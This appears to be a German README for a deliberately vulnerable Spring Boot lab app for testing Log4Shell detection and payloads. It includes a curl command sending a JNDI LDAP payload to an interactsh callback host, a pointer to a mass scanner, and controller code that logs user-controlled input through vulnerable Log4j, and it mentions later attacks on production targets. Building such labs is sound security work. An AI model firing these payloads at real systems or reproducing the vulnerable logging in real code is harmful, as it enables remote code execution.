
Dockerisierter Spring Boot Service, der absichtlich anfällig für Log4Shell (CVE-2021-44228) ist, zum Testen von Erkennungswerkzeugen, Payloads und Exploit-Fähigkeiten in einer lokalen Umgebung
Dies ist ein schmutziger Hack eines Spring Boot Hallo-Welt-Projekts, um Ihre Tooling-/Payload-/Erkennungsfähigkeiten lokal zu testen, bevor Sie damit Produktionsziele angreifen.
Die konfigurierte Log4j-Version ist 2.13.0
bash build.sh
docker run -p 8080:8080 dwdi/log4shell
Wenn Sie keinen Burp Collaborator in der Garage laufen haben, können Sie diese Seite besuchen, um eine ähnliche Erfahrung zu machen: https://interactsh.com
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null
Optional können Sie dieses großartige Repository für lokales/Massen-Scannen verwenden: https://github.com/adilsoybali/Log4j-RCE-Scanner
Bei dieser Schwachstelle geht es darum, einen benutzergesteuerten Wert zu erzwingen, der vom anfälligen Logging-Framework protokolliert wird. Vor diesem Hintergrund unterstützt diese einfache Dummy-Anwendung zwei HTTP-Verben (GET/PUT) und eine Reihe von Injektionsstellen:
@GetMapping("/")
public String index(HttpServletRequest request) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
return "Log4J2 is working!";
}
@PostMapping("/")
public String post(HttpServletRequest request, @RequestBody String body) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
logger.info("Request Body: " + body); // mind the extra request body
return "Log4J2 is working!";
}
Beiträge / Verbesserungen sind willkommen.
Entschuldigung für die Codequalität :) Dieses Projekt dient nicht der Show, sondern dem Teilen/Helfen.